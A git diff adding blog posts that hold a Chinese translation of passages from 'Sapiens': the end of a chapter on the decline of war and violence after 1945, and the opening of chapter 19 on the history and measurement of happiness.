+特别是在“二战”结束后的70年间，情况更是如此。在这段时间，人类第一次有可能得面对彻底的自我摧毁，而且也确实爆发了相当数量的战争和屠杀。但这几十年同时也是人类历史上最和平的年代，而且程度是大幅领先。这点之所以让人意想不到，是因为如果就经济、社会和政治层次来说，这个时期的变动比以往任何时代都多。可以说虽然历史的板块构造以疯狂的速度移动碰撞，但这座火山却是纹风不动。这个灵活变动的新社会秩序，似乎既能够启动剧烈的结构变化，又能够避免崩溃造成暴力冲突。106 +我们这个年代的和平 +大多数人看不到这个年代究竟有多么和平。我们毕竟都没真正看过1000年前的模样，所以很容易忘记过去的世界其实更加残暴。而且，因为战争变成少见的事，也让战争吸引了更多关注。许多人紧盯着阿富汗和伊拉克战争肆虐，但没什么人特别想到巴西和印度一片安详。 +更重要的是，我们比较容易体会个人的辛酸，而不是人类整体的苦难。但为了从宏观角度来看历史进程，我们需要看整体统计数据，而不只是看个人的故事而已。在公元2000年，全球战争造成31万人丧生，而暴力犯罪造成52万人死亡。当然，对每一个受害者来说这都是世界的毁灭，家破人亡，朋友和亲戚悲痛欲绝。但从宏观的角度来看，在2000年总共83万的死亡者只占了全球5600万总死亡人数的1.5%。在同样一年，车祸死亡的人数达到126万（占总死亡人数2.25%），自杀人数达81.5万（占总死亡人数1.45%）。107 +2002年的数字更夸张，在5700万死亡人口中，只有17.2万人死于战争，56.9万人死于暴力犯罪（也就是共74.1万人死于人类暴力）。相较之下，该年自杀的人数就有87.3万。108所以我们看到，在“9·11”恐怖袭击后的一年，虽然恐怖主义和战争喊得震天价响，但说到某个人被恐怖分子、士兵或毒贩刺杀的可能，其实还比不上他自杀的可能。 +在全球大多数地方，我们晚上入眠时都不用担心附近的部落会不会包围自己的村庄，来场全村大屠杀。现在的英国有钱人就算每天走过罗宾汉的舍伍德森林（Sherwood Forest），也不用担心会有人埋伏抢钱，再把他们的钱分给穷人（或者更可能直接收进口袋）。学生不再需要担心师长棍棒齐飞，孩子不再需要烦恼可能被贩为奴，女性也知道丈夫不得违法殴打她们或强迫她们留在家里。在全球越来越多的地方，这些期待都已经成为事实。 +暴力发生率下降，主要是因为国家制度的制定。纵观历史，大多数的暴力事件是出于家庭之间或社群之间的仇恨。（就算在今天，上述数据也能看出地方犯罪远比国际战争更为致命。）我们前面已经提到，在早期农业社会里，农民唯一知道的政治组织就是自己的社群，但他们受到的暴力对待层出不穷。109要等到王国和帝国的力量增强之后，人类社会才开始对社群有了约束力，而使暴力程度下降。在中世纪欧洲这种各自独立的王国里，每10万人遭到凶杀的人数约在每年20~40人之间。而近几十年来，国家和市场大权在握，地方社群可以说消失，但暴力发生率也是进一步下降。全球现在每年每10万人遭到凶杀的人数只有大约9人，而且多半是发生在国家权力不彰的地方，像是索马里和哥伦比亚。至于像是欧洲这种权力集中的国家，平均每年每10万人只会有1人死于凶杀命案。110 +当然，我们还是会看到有国家运用国家力量残害自己的公民，而且常常就是这些恐怖的印象深植人心、挥之不去。在20世纪，有数千万甚至上亿人遭到自己国家的安全部队杀害。但从宏观的角度来看，国家控制的法院和警力仍然是提升了全球的安全水平。就算是在暴虐的独裁统治之下，现代人死于他人之手的可能性仍然低于前现代社会的水平。1964年，巴西出现了军事独裁政权，而且一直统治巴西到1985年。在这20年间，共有数千巴西民众遭到该政权杀害，另有数千人遭到囚禁和折磨。然而，就算在情况最糟糕的年度，里约热内卢居民死于他人之手的可能性，仍然远低于瓦拉尼人、雅韦提人（Arawete）或雅诺马莫人（Yanomamo）。瓦拉尼人、雅韦提人和雅诺马莫人都是住在亚马孙森林深处的原住民，他们没有军队、没有警察，也没有监狱。人类学研究指出，这些种族的男性约有25%~50%会因为财产、女人或名声的纠纷而死于暴力冲突。111 + +帝国的退位 +国家内的暴力行为在1945年后究竟是减少还是增加，或许还有商榷的余地，但谁都无法否认，现在的国际暴力事件正是史上最少的时期。其中最明显的或许就是欧洲帝国崩溃时的情形。历史上，我们看到各个帝国总是铁腕镇压叛乱，而且就算再也压制不住，最后也会孤注一掷，常常就是进行一场浴血混战。而等到帝国灭亡，接着就有一段无政府状态，战乱频传。但自从1945年以来，多数帝国都选择了和平的退位方式，帝国解体崩溃的过程变得相对迅速、平和且有序。 +在1945年，英国还统治着1/4的地球。但不过30年后，它统治的土地就只剩下几个小岛。在这段时间，英国从一个又一个殖民地撤退，几乎没开过几枪，为国捐躯的士兵不超过几千人，杀害的人数也并不多。大家提到甘地的非暴力抵抗常常赞誉有加，但大英帝国其实也该得到部分的赞赏。帝国退位后，由各个独立的国家接管，大部分就享受着既成的稳定边界，也与四周的邻国愉快地和平共处。确实，大英帝国在遭到威胁时杀害了数万民众，而且几个敏感地区在英国撤出后便爆发了大规模种族冲突，造成数十万人丧生（特别是在印度）。然而，如果从长期的历史平均来看，英国撤退已经称得上是和平和秩序的典范。相较之下，法国殖民帝国就比较顽固了，崩溃撤退时仍然在越南和阿尔及利亚掀起血战，造成数十万人死亡。但就算是法国，从其他殖民地撤退时也算是和平迅速，而且离开后留下的是秩序井然的国家政府，而不是一团混乱。 +1989年苏联解体，过程可以说是更为和平，只是在巴尔干半岛、高加索和中亚地区仍然爆发了种族冲突。一个如此强大的帝国，竟然消失得如此安静且迅速，可以说是史上罕见。在1989年，苏联并未遭受军事挫败（除了阿富汗），未受到外部入侵，未有人民叛乱反抗，甚至也没有像是马丁·路德·金式的大规模公民不服从运动发生。苏联当时仍然握有数百万的兵力，有上万辆坦克、上万架飞机，核武力量可以把全球炸到底儿朝天。无论是红军或其他华沙公约组织的军队也依然忠心耿耿。要是苏联最后一位统治者戈尔巴乔夫下令，红军还是会对所有人民开火。 +然而，无论是苏联还是东欧共产政权的大多数精英统治者（罗马尼亚和塞尔维亚除外），都选择了完全不去动用这庞大的武力。这些人就是放下武力、承认失败、收拾行李、告老还乡。戈尔巴乔夫等人所放下的，不只是苏联在第二次世界大战所攻下的领地，更包括了更早之前由沙皇所征服的波罗的海、乌克兰、高加索和中亚地区。如果戈尔巴乔夫做的选择是像塞尔维亚的领导人或是像法国在阿尔及利亚的决定，后果只能说让人不寒而栗。 +核子和平 +帝国退出后而独立的国家，显然对战事都兴趣不大。除了极少数例外，自1945年以来已经不再有入侵并吞其他国家的事情发生。这种征服在过去一向是政治史上不可或缺的基本要素，许多伟大的帝国因此建立，大多数过去的统治者和民众也认为这是历史的必然。然而，今天世上任何地方都已经不可能再发生像是古罗马人、蒙古人和土耳其人那些逐鹿天下的事。自1945年以来，没有任何一个经联合国承认的独立国家遭到征服而灭国。虽然小型国际战争时而发生，仍有达百万的民众在战事中丧命，但战争已经不再是常态。 +许多人以为和平是西欧的特色，那里富裕而民主，战事完全绝迹，但事实上，和平是先在其他地区发展，最后才传到了欧洲。所以，像是在南美，最后几场严重的国际战争是1941年的秘鲁与厄瓜多尔战争，以及1932~1935年的玻利维亚与巴拉圭战争。而且在这之前，南美在1879~1884年之后就不再有其他严重战事，当时一方是智利，另一方则是玻利维亚和秘鲁。 +我们可能并不认为阿拉伯世界是个特别和平的地方，但自从阿拉伯国家赢得独立之后，只有一次曾经爆发两国全面交战事件（伊拉克于1990年入侵科威特）。确实，边界冲突层出不穷（像是1970年叙利亚与约旦），多次有国家入侵他国干涉内政（像是叙利亚入侵黎巴嫩），有许许多多的内战（像是阿尔及利亚、也门、利比亚），而且政变和叛乱时有所闻。但事实就是，除了海湾战争外，阿拉伯国家之间就再也没有其他全面的国际战争。就算把范围扩大到整个穆斯林世界，也只是再增加了两伊战争这个例子。无论是土耳其–伊朗战争、巴基斯坦–阿富汗战争，或是印度尼西亚–马来西亚战争，都从来没有发生。 +在非洲，事情远远不那么乐观。但就算在非洲，大多数冲突也只是内战和政变。自从非洲国家在20世纪60和70年代赢得独立之后，就极少有国家试图征服彼此、取而代之。 +在过去，如果有些相对平静的年代（像是1871~1914年的欧洲），总是接着就发生了翻天覆地的战事。但这次不同。原因就在于，真正的和平不该只是“现在没有战争”，而是“不可能发生战争”。在过去，全世界从来未曾有过真正的世界和平。像是在1871~1914年间，欧洲各地的战争仍然是一触即发，不管是军队、政治家或一般公民也都有这种心理准备。过去所有所谓的和平时期都是如此。国际政治过去的铁律就说，“任何两个相邻的政体，都会有某种可能，让他们在一年之内向对方宣战”。像这样的丛林法则，无论是在19世纪晚期的欧洲、中世纪的欧洲、古代的中国或是古希腊，都同样大行其道、屡屡成真。如果雅典和斯巴达在公元前450年达成和平，很可能在公元前449年就又再度打了起来。 +然而，我们今天已经打破了这个丛林法则。现在有的是真正的和平，而不只是没有战争。对于大多数的政体来说，都没有什么合理可信的情况会在一年之内导致全面开战。有什么可能，会让德国和法国忽然开战？中国和日本？巴西和阿根廷？虽然可能会有某些小规模边界冲突，但现在除非发生了某个世界末日等级的事件，否则几乎不可能再次爆发传统的全面战争。如果说明年这个时候，阿根廷装甲师要一路横扫到巴西里约的大门口，而巴西又要地毯式轰炸阿根廷的布宜诺斯艾利斯，可能性只能说微乎其微。当然，有几对国家之间仍然可能出现战争，像是以色列和叙利亚、埃塞俄比亚和厄立特里亚，或是美国和伊朗，但这些只是例外情况，反而是证实了规则的存在。 +当然，未来情况也可能有所改变，到时候回头来看，就会觉得现在这个想法天真得难以想象。但从历史的角度来看，现在的天真仍然是件好事。在过去，从来没有这种四方和平、难以想象战争爆发的年代。 +目前已经有许多学者发表许多著作和文章，解释为何现在会有这个令人愉悦的发展，其中大致提出几项重要因素。首先，战争的成本大幅上升。如果说有个最高诺贝尔和平奖，应该把奖颁给罗伯特·奥本海默以及和他一起研发出原子弹的同事。有了核武器之后，超级大国之间如果再开战，无异等于集体自杀。因此，想要武力征服全球也成了不可能的任务。 +其次，正因为战争的成本飙升，也就代表其利润下降。在史上大多数时候，只要掠夺或兼并敌人的领土，就能为自己的国力注入一剂强心针。过去的财富多半就是田地、牛、奴隶和黄金，无论要抢劫或占领都十分方便。但到了今天，财富的形式变成了人力资本、科技知识，以及像是银行这种复杂的社会经济结构，想要抢夺或是占领都相当困难。 +让我们以加州为例。加州最初是以金矿起家，但现在的经济重心已经转移到了硅谷和好莱坞。如果今天俄罗斯忽然打算武力进犯加州，派出百万大军登陆旧金山海滩，挥军直入，一切会如何？他们几乎会是一无所得。毕竟，像是硅谷虽然叫硅谷，却没有硅矿。这里的财富重点是点子和想法，也就是那些谷歌工程师，还有好莱坞的编剧、导演和特效人员。俄罗斯的坦克还没开到日落大道，他们早就已经搭机逃到海角天边去了。虽然现在世界上仍然偶尔会发生大规模国际战争（例如伊拉克入侵科威特），但原因在于这些地方的财富多半属于传统的实质财富。虽然科威特首长也能逃往国外，但油田却是万万跑不了。 +同时，虽然战争已经不再那么有利可图，但和平却成了一笔越来越划算的生意。在过去的农业经济中，长途贸易和外国投资并非重点，因此和平顶多只是省下战争费用，其他并无太大好处。例如在1500年，如果日韩两国处于和平状态，韩国大众就不用负担沉重的战争税，也不用担心日本毁灭性的侵略攻击；但除此之外，荷包并不会变满。但到了现代的资本主义经济，外贸和投资变得至关重要，和平可以说也开始有了特殊的红利。只要日本和韩国相安无事，韩国人可以把产品卖给日本，可以在日本交易股票，也可以接受日本来的投资，而这些都能振兴韩国的经济。 +最后一项重点，在于全球政治文化也有了结构性的大变动。史上有许多领导精英（像是匈奴的单于、维京人的首领、阿兹特克的祭司）其实认为战争是件好事；也有些领袖虽然认为战争很邪恶，但认为这避无可避，只能做好准备，随时要抢占上风。在我们这个时代，是史上第一次由爱好和平的精英分子来领导，这些政治家、商人、知识分子和艺术家确实相信战争是一种邪恶，而且也相信战争能够避免。（虽然过去也有像是早期基督徒之类的和平主义者，但就算在极少数情况下他们获得了权力，却常常就忘了那些要“把左脸也转过去”的教条。） +所以，现在有四大因素形成了一个良性循环。核子末日的威胁促进了和平主义；和平主义大行其道，于是战争退散、贸易兴旺；贸易成长，也就让和平的利润更高，而战争的成本也更高。随着时间过去，这个良性循环也就对战争造成另一个阻碍，而且可能最后看来会是最重要的阻碍：因为国际网络日渐紧密，使得多数国家无法再维持全然独立，所以其中任何一国片面宣战的机会也就大幅降低。大多数国家之所以不再发动全面战争的原因很简单，就是因为他们已经不再能够完全独立行事。虽然不管是在以色列、意大利、墨西哥或泰国，人民可能还是以为自己是个独立的国家，但其实任何经济或外交政策都不可能自外于他国，全面性的战争也不可能独自发动。正如我们在第十一章所提，现在正面临着全球帝国的形成。而这个帝国与之前的帝国也十分类似，会努力维持其疆域内的和平。正因为全球帝国的疆域就是全世界，所以世界和平也就能得到有效的维持。 +* * * +有人会说，所谓的现代就是充满了盲目的屠杀、战争和压迫，而代表意象就是第一次世界大战的战壕、广岛的蘑菇状爆炸云，以及希特勒几近疯狂的意志。但也有人说，现代是个和平的时代，像是南美从来没有战壕，莫斯科和纽约从来没见过那些蘑菇云，而甘地和路德·金都让我们看到了宁静致远的缩影。 +究竟孰是孰非？其实需要时间来证明。我们只要回顾过往就会发现，自己对于过去历史的看法总是受到近几年事件的左右。如果这一章是写在1945年或是1962年，可能看法就会偏向悲观。但正因为已经来到2014年，整个看待现代历史的观点也就相对比较愉快。 +为了让乐观主义者和悲观主义者都能满意，或许可以说我们正在天堂和地狱的岔路口，而我们还不知道自己会朝向哪一个方向。历史还没告诉我们该挑哪边，而只要发生某些巧合，往哪边走都不算意外。 +[1]　所谓“密切社群”（intimate community）指的是社群中成员都认识、熟悉彼此，并且互相依赖共存。 diff --git a/_posts/2017-01-06-211-sapiens-cp19.md b/_posts/2017-01-06-211-sapiens-cp19.md new file mode 100644 index 0000000..d37a2fc --- /dev/null +++ b/_posts/2017-01-06-211-sapiens-cp19.md @@ -0,0 +1,92 @@ +--- +layout: post +title: 第十九章从此过着幸福快乐的日子 +pid: 211 +tags: [人类简史：从动物到上帝] +--- +第十九章 +从此过着幸福快乐的日子 +在过去的500年间，我们见证了一连串令人惊叹的革命。地球在生态和历史上都已经整合成一个单一的领域。经济呈现指数增长，今日人类所享有的财富在过去只有可能出现在童话里。而科学和工业革命也带给我们超人类的力量，以及几乎可以说无限的能源。不仅社会秩序完全改变，政治、日常生活和人类心理也彻底改观。 +只不过，我们真的更快乐了吗？人类在过去5世纪间积蓄的财富，是不是真的让我们找到了新的满足感？有了取之不尽的能源之后，我们是不是也得到了用之不竭的快乐？如果我们往更久之前回顾，认知革命以来这动荡不安的7万年间，世界是不是真的变得更好？到现在，阿姆斯特朗的脚印还留在无风的月球上，而3万年前也有个不知名的人，把手印留在雪维洞穴里；他们究竟谁比较快乐？如果后来的人并没有比较快乐，我们又为什么要发展农业、城市、文字、钱币、帝国、科学和工业呢？ +历史学家很少问这样的问题。他们不去讨论秦朝人是不是比先前采集为生的人更快乐，伊斯兰兴起后，埃及人是不是对生活更满意，也不讨论欧洲帝国在非洲崩溃之后，数百万非洲人的幸福受到什么影响。然而，这些可以说是最重要的历史问题。目前大多数的意识形态和政治纲领，虽然都说要追求人类幸福，但对于幸福快乐的真正来源为何却还是不明就里。民族主义者会说政治自决能够带来快乐。共产主义者会说无产阶级专政能够带来快乐。资本主义者会说自由市场能够创造经济成长，能够教导人类自立自强、积极进取，所以能够为最多人带来最大的快乐。 +如果经过仔细研究，结果全盘推翻了这些人的假设，情况会如何？如果经济成长和自立自强并不会让人更快乐，又何必将资本主义奉如圭臬？如果研究显示大型帝国的属民通常比独立国家的公民更幸福，例如假设阿尔及利亚人被法国统治时比较快乐，那我们该怎么办？这样一来，要怎样评价去殖民化，民族自决的价值又该怎么说？ +这些都还只是假设，但原因就是历史学家至今还在回避提出这些问题，更不用说什么时候才会找出答案了。学者研究历史，但只是点出了一切的情形，像是政治、社会、经济、性别、疾病、性、食物、服装，而很少有人提到这些究竟如何影响人类的幸福。这是我们对于历史理解的最大空白之处。 +虽然很少有人提出对于快乐的长期纵观研究，但几乎所有学者和大众心中都多少有些模糊的定见。常有人认为，历史不断进展，人类的能力也不断增加。而一般来说，我们会运用能力来减轻痛苦、满足愿望，所以我们想必过得比中世纪的祖宗们来得快乐，而他们又一定比石器时代的狩猎采集者来得开心。 +然而，这种进步论却可能有些问题。正如我们所见，新的倾向、行为和技能不一定会让生活过得更好。像是人类在农业革命学会了农耕畜牧，提升了人类整体形塑环境的力量，但对许多个人而言，生活反而变得更为艰苦。农民的工作比起狩猎采集者更为繁重，而且取得的食物种类变少、营养较不均衡，染上疾病与受到剥削的可能性都大增。同样，欧洲帝国开枝散叶，同时将各种概念、科技和农作物向四方传播，而且还打开了商业的新道路，大大提升了人类整体的力量；但对于数百万的非洲人、美洲原住民和澳大利亚原住民来说，这几乎完全算不上是好事。历史一再证实，人类有了权力或能力就可能滥用，所以要说能力越高就越幸福，看来实在有些天真。 +有些反对这种观点的人，就会站在完全相反的立场。他们认为人的能力和幸福之间正好是负相关。他们认为权力使人腐化，人类有了越来越多的能力之后，创造出来的是个冷漠的机器世界，并不符合人类实际的需求。人类的演化，是让我们的思想和身体符合狩猎采集生活。因此，无论是转型成农业还是后来再转型到工业，都是让我们堕入不自然的生活方式，让我们无法完全实现基因中固有的倾向和本能，也就不可能满足我们最深切的渴望。就算是都市中产阶级，过着舒适的生活，生活中却再也没有什么比得上狩猎采集者猎到长毛象那种兴奋和纯粹的快乐。每次出现新发明，只是让我们与伊甸园又离得更远。 +然而，如果认为每个发明都必然带来阴影，似乎也流于武断，就像是深信历史进步无法避免一样。或许，虽然我们与内心那个狩猎采集者越来越远，但并不全然是件坏事。举例来说，在过去的两个世纪里，现代医学让儿童死亡率从33%降到了5%以下。对于那些本来无法存活的孩童或是他们的家人朋友来说，难道这不是让他们的幸福感大增了吗？ +还有一种更微妙的立场，就是把历史分成前后两段讨论。在科学革命之前，能力还不一定能带来幸福。中世纪的农民确实可能过得比狩猎采集者更为悲惨。然而在过去几世纪间，人类已经学会更聪明地使用能力。现代医学的胜利只是其中一个例子，其他同样震古烁今的成就还包括让暴力事件大幅降低，国际战争几乎已经烟消云散，而且大规模饥荒也几乎不再发生。 +然而，这种说法其实也流于过度简化。首先，这里只根据了非常小的时间抽样，就做出了乐观的评估。大多数人类是要到1850年才开始享受到现代医学的果实，而且儿童死亡率急遽下降也是20世纪才出现的现象。至于大规模饥荒，一直到20世纪中叶都还是大问题。国际战争一直要到1945年后才变得罕见，而且一大原因还在于核子末日这项新的威胁。因此，虽然说过去几十年似乎是人类前所未有的黄金年代，但想知道这究竟代表历史潮流已经有了根本转变，又或只是昙花一现的美好，目前还言之过早。而且，要对现代性加以评价的时候，实在很难避开21世纪西方中产阶级的观点。但我们不该忘记，对于19世纪韦尔斯的煤矿矿工、中国鸦片烟的瘾君子，又或是塔斯马尼亚岛的原住民，观点必然相当不同。楚格尼尼的重要性，绝对不下于《辛普森一家》里的老爸霍默。 +其次，就算是过去半个世纪这短暂的黄金年代，也可能已经播下未来灾难的种子。在过去几十年间，人类用了无数新方法干扰地球的生态平衡，而且看来可能后患无穷。有大量证据显示，我们纵情消费而不知节制，正在摧毁人类赖以繁荣的根基。 +最后一点，虽然智人确实取得了空前的成就，或许值得沾沾自喜，但代价就是赔上几乎所有其他动物的命运。人类现在取得许多物资和资源，让我们得以免受疾病和饥荒之苦，但我们是牺牲了实验室里的猴子、农场里的奶牛、输送带上的鸡，才换来这些让我们扬扬得意的成就。在过去两个世纪间，有数百亿动物遭到现代工业制度的剥削，而且其冷酷程度是整个地球史上前所未有的。就算那些动物保护团体指出的现象只有1/10是事实，现代农业产业也已经是史上最大规模、最残暴的罪行。要评估全球幸福程度的时候，只看上层阶级、只看欧洲人、只看男性，都是巨大的错误。而且，或许只看人类也同样有失公允。 +快乐该如何计算？ +到目前为止，我们讨论快乐的时候，似乎都认为这是由各种实质因素（例如健康、饮食和财富）建构出的产品。如果某个人更有钱、更健康，就一定也更快乐。但这一切真的这么理所当然吗？几千年来，早就有哲学家、神职人员和诗人反复思索快乐的本质，而且许多人都认为，社会、伦理和心灵因素对幸福感的影响，绝对不下于其他物质条件。有没有可能，虽然富裕社会里的人类荷包满满，却因为人际疏离和生活没有意义而深感痛苦？有没有可能，虽然我们的老祖宗生活条件较差，但因为与家人朋友、宗教和自然关系紧密，所以反而生活得比较满足？ +近几十年来，心理学家和生物学家开始用科学方法来研究快乐的根源。究竟让人感到幸福快乐的是金钱、家庭、基因，还是美德？首先，得先定义要测量的对象。一般对于快乐普遍接受的定义是“主观感到幸福”。依照这个观点，快乐是种个人内在的感受，可能是因为当下直接的快感，或是对于长期生活方式的满足。而如果这是内部的感受，又要怎样才能由外部测量呢？一种做法是直接询问受试者，问问他们的感受如何。所以心理学家和生物学家就请受试者填写关于幸福感的问卷，再计算相关统计结果。 + +一般来说，关于主观幸福感的问卷会列出各种叙述，再请受试者以0到10加以评分，这些叙述例如“我对自己现在的样子感到满意”，“我觉得活到现在非常值得”，“我对未来感到乐观”，“生活是美好的”。接着研究人员就会计算所有分数，算出受试者整体的主观幸福感程度。 +这样的问卷能够用来了解快乐有哪些客观因素。举例来说，我们可以研究比较1000位年收入10万美元的人，以及1000位年收入5万美元的人。假设前者的平均主观幸福感有8.7分，而后者平均只有7.3分，研究就能合理推论财富与主观幸福感是正相关的。说得白话一点，也就是金钱会带来快乐。用同样的方法，我们也可以研究在民主国家的人是不是真的比独裁统治下的人更幸福，或是结婚的人是否比单身、离婚或丧偶的人来得快乐。 +有了这些数据，就能为历史学家提供比较基础，让他们再用过去关于财富、政治自由度和离婚率的资料来推论。举例来说，假设民主国家的人比独裁国家的人快乐、已婚的人比离婚的人快乐，历史学家就能主张：过去几十年间，民主化进程让人类的幸福感提高，但离婚率上升则有反效果。 +当然，这种方式也还有改进的空间，但在更好的方式出现之前，这些发现也值得参考。 +目前有一项耐人寻味的结论：金钱确实会带来快乐，但是有一定限度，超过限度之后的效果就不那么明显。所以，对于在经济阶层底层的人来说，确实是钱越多就越快乐。如果你就是一个年收入只有一万多元的清洁工，忽然中了一张两百万元的彩票，主观幸福感可能就会维持好一段时间的高档状态。这下，你可以让孩子吃饱穿暖，而且不用担心欠债越滚越多。然而，如果你本来就是个年薪几百万元的外商高阶主管，就算中的是两三千万元的乐透，主观幸福感也可能只会提高几个星期。根据实证研究，这几乎肯定不会对你的长期感受有太大的影响。你或许会买台炫一点的车，搬到大一些的豪宅，喝些更顶级的红酒，但很快就会觉得这一切都普普通通，没什么新鲜感。 +另一项有趣的发现是疾病会短期降低人的幸福感，但除非病情不断恶化，或是症状带有持续、让人无力的疼痛，否则疾病并不会造成长期的不快。像是如果有人被诊断患有像糖尿病之类的慢性疾病，确实是会让人郁闷一阵子，但只要病情没有恶化，他们就能调适过来，觉得自己和一般人的快乐程度也没什么差别。让我们假设一下，有一对中产阶级的双胞胎露西和路克，一起参与了一项主观幸福感的研究。早上做完研究之后，露西开车回家，却被一辆大巴士撞上，让她多处骨折，有一只脚永远行动不便。但就在救援人员把她拉出车子的时候，路克打电话来，兴奋大叫他中了千万美元的乐透大奖。于是，在两年后，她会是个瘸子，而他会比现在更为有钱。但是如果心理学家再去做后续追踪研究，他们两个人的幸福感与事件发生当天早上的结果并不会有多大不同。 +目前看来，对快乐与否的影响，家庭和社群要比金钱和健康来得重要。那些家庭关系紧密良好、社群互相扶持帮助的人，明显比较快乐。而那些家庭机能失调、一直无法融入某个社群的人则明显比较不快乐。而其中，婚姻又是特别重要的一项因素。多项重复研究发现，婚姻美好与感觉快乐，以及婚姻不协调与感觉痛苦，分别都呈现高度相关。而且，不论经济状况或是身体健康如何，情况都是如此。所以，就算是贫穷而有病在身的人，如果身边有爱他的另一半、爱他的家人、愿意支持他的社群，他就可能比一个孤单无伴的亿万富翁感觉更幸福快乐。（当然，前提是这个人不能真的穷到无法生活，而他的疾病也不会不断恶化或让他持续感受疼痛。） +这样一来，我们就得考虑一种可能性。虽然过去两个世纪间人类在物质条件上有了大幅改善，但因为家庭崩溃、社会失调，所以两者的作用很可能互相抵消。如果真是如此，现在的人并不见得比1800年更快乐。甚至是我们现在如此看重的“自由”，也可能是让我们不那么快乐的原因。虽然我们可以自己选择另一半、选择朋友、选择邻居，但他们也可以选择离开我们。现代社会每个人都拥有了前所未有的自由，能够决定自己要走哪条路，但也让我们越来越难真正信守承诺、不离不弃。于是，社群和家庭的凝聚力下降而解体，这个世界让我们感到越来越孤独。 +然而，关于快乐最重要的一项发现在于：快乐并不在于任何像是财富、健康甚至社群之类的客观条件，而在于客观条件和主观期望之间是否相符。如果你想要一辆牛车，而你也得到了一辆牛车，你就会感到满足。如果你想要一台全新的法拉利，而得到的只是一台二手的菲亚特，你就感觉不开心。正是因为如此，不管是中乐透还是出车祸，对人们的幸福感并不会有长期影响。一切顺利的时候，我们的期望跟着膨胀，于是就算客观条件其实改善了，我们还是可能不满意。而在一切不顺的时候，我们的期望也变得保守，于是就算又碰上其他的麻烦，很可能心情也不会更低落。 +你可能会觉得，这一切不就是老生常谈吗？就算没有这群心理学家、什么问卷都没做，我们也早就知道了。就像千年之前，先知、诗人和哲学家也早就说过，重要的是要知足，而不是一直想要得到更多。只不过，看到现代研究用了这么多数字和图表，最后得出和古人相同的结论，其实感觉还是不错。 +* * * +正因为人类的期望如此重要，想要了解快乐这件事的历史，就不能不检视各种期望的影响。如果快乐只受客观条件影响（例如财富、健康和社会关系），要谈快乐的历史也就相对容易。但我们知道快乐有赖于主观的期望之后，历史学家的任务也就更为艰巨。对现代人来说，虽然有各种镇静剂和止痛药任我们使用，但我们越来越期望能得到舒适和快感，也越来越不能忍受不便和不适。结果就是我们感受到的痛苦程度可能还高于我们的先人。 +这种想法可能很难理解。这里的问题在于，我们的心理深深埋藏着一个推理的谬误。在我们试着猜测或想象其他人有多快乐的时候（可能是现在或过去的人），我们总是想要设身处地去想想自己在那个情况下会如何感受。但这么一来，我们是把自己的期望放到了别人的物质条件上，结果当然就会失准。现代社会丰饶富裕，我们很习惯每天都要洗澡更衣。但在中世纪，农民好几个月都不用洗澡，而且也很少会换衣服。对现代人来说，光是想到要这样生活，就觉得真是臭到要命、脏到骨头里，完全无法接受。只不过，中世纪的农民似乎一点都不介意。这种衣服长时间没洗没换的触感和气味，他们早就已经习惯。他们并不是因为太穷而无法负担换洗衣服，而是压根儿就没有这种期望。于是，至少就衣服这一件事来说，他们其实很满足了。 +如果真的想想，这其实也不足为奇。毕竟，像是人类的表亲黑猩猩也很少洗澡，更从来没换过衣服。而我们的宠物猫狗也不是天天洗澡更衣，但我们也不会因此就讨厌它们，而是照样拍拍它们、抱抱它们，甚至还抱起来亲。就算是在富裕的社会里，小孩通常也不喜欢洗澡，得花上好几年的教育和管教，才能够养成这种理论上应该很舒服的习惯。一切都只是期望的问题而已。 +如果说快乐要由期望来决定，那么我们社会的两大支柱（大众媒体和广告业）很有可能正在不知不觉地让全球越来越不开心。假设现在是5000年前，而你是一个住在小村子里的18岁年轻人。这时全村大概只有50个人左右，老的老、小的小，身上不是伤痕皱纹遍布，就是稚气未脱，很有可能就会让你觉得自己真是好看，因而满是自信。但如果你是活在今日的青少年，觉得自己长相不怎么样的可能性就要高多了。就算同一个学校的人都输你一截，你也不会因此就感觉开心。因为你在心里比较的对象是那些明星、运动员和超级名模，你整天都会在电视、脸书和巨型广告牌上看到他们。 +有没有可能，第三世界国家之所以会对生活不满，不只是因为贫穷、疾病、腐败和政治压迫，也是因为他们看到了第一世界国家的生活标准？平均来说，埃及人在前总统穆巴拉克的统治下，死于饥饿、瘟疫或暴力的可能性远低于在古代法老拉美西斯二世（Ramses II）或埃及艳后克丽奥佩特拉统治的时期。对大多数埃及人而言，这根本是有史以来物质条件最好的时刻。在2011年，理论上他们应该要在大街上跳舞庆祝，感谢安拉赐给他们这一切的财富才对。然而，他们反而是满怀愤怒，起身推翻了穆巴拉克。原因就在于，他们比较的对象不是古代的法老王，而是同时代的美国总统奥巴马。 +这么一来，就算是长生不老也可能会导致不满。假设科学找出了能够医治所有疾疾的万灵丹，加上有效抗老疗程和再生治疗，能够让人永葆青春，那么，最可能发生的事，就是整个世界感到空前的愤怒和焦虑。 +那些无力负担这些医学奇迹的人（也就是绝大多数人），一定会愤怒到无以复加。纵观历史，穷人和受压迫者之所以还能自我安慰，就是因为死亡是唯一完全公平的事。不论再富有、权力再大，人也难逃一死。光是想到自己得死，但有钱人居然能长生不老，就会让穷人怒火中烧、不可遏抑。 +而且，就算是那极少数负担得起的，也不是从此无忧无虑。他们有太多需要担心的了。虽然新疗法可以延长寿命、常葆青春，但一旦真的死亡，仍然是无可救药。这么一来，原本自己和所爱的人应该能够永远在一起的，但就得更需要避免意外，不能被卡车撞到，也不能被恐怖分子炸成碎片！像这些理论上可以达到长生的人，很有可能一丁点儿的风险也不愿意承担，而且一旦真的失去配偶、子女或密友，他们感受到的痛苦更会高到难以想象。 +快乐的化学成分 +研究快乐的时候，社会科学家做的是发问卷调查主观幸福感，再将结果与财富和政治自由等社会经济因素结合。至于生物学家的做法，虽然也用一样的问卷，但结合的是生化和遗传因素。他们得出的研究结果令人大感震惊。 +生物学家认为，我们的心理和情感世界其实是由经过数百万年演化的生化机制所形塑。所有的心理状态（包括主观幸福感）并不是由外在因素（例如工资、社会关系或政治权利）来决定，而是由神经、神经元、突触和各种生化物质（例如血清素、多巴胺和催产素）构成的复杂系统而定。 +所以，不管是中了乐透、买了房子、升官发财，或是找到了真正的爱情，都不是真正让我们快乐的原因。我们能够快乐的唯一原因，就是身体内发出快感的感官感受。所以，那些刚中了乐透、刚找到真爱的人，之所以会快乐地跳了起来，并不是因为真的对金钱或情人有所反应，而是因为血液中开始流过各种激素，脑中也开始闪现着小小的电流。 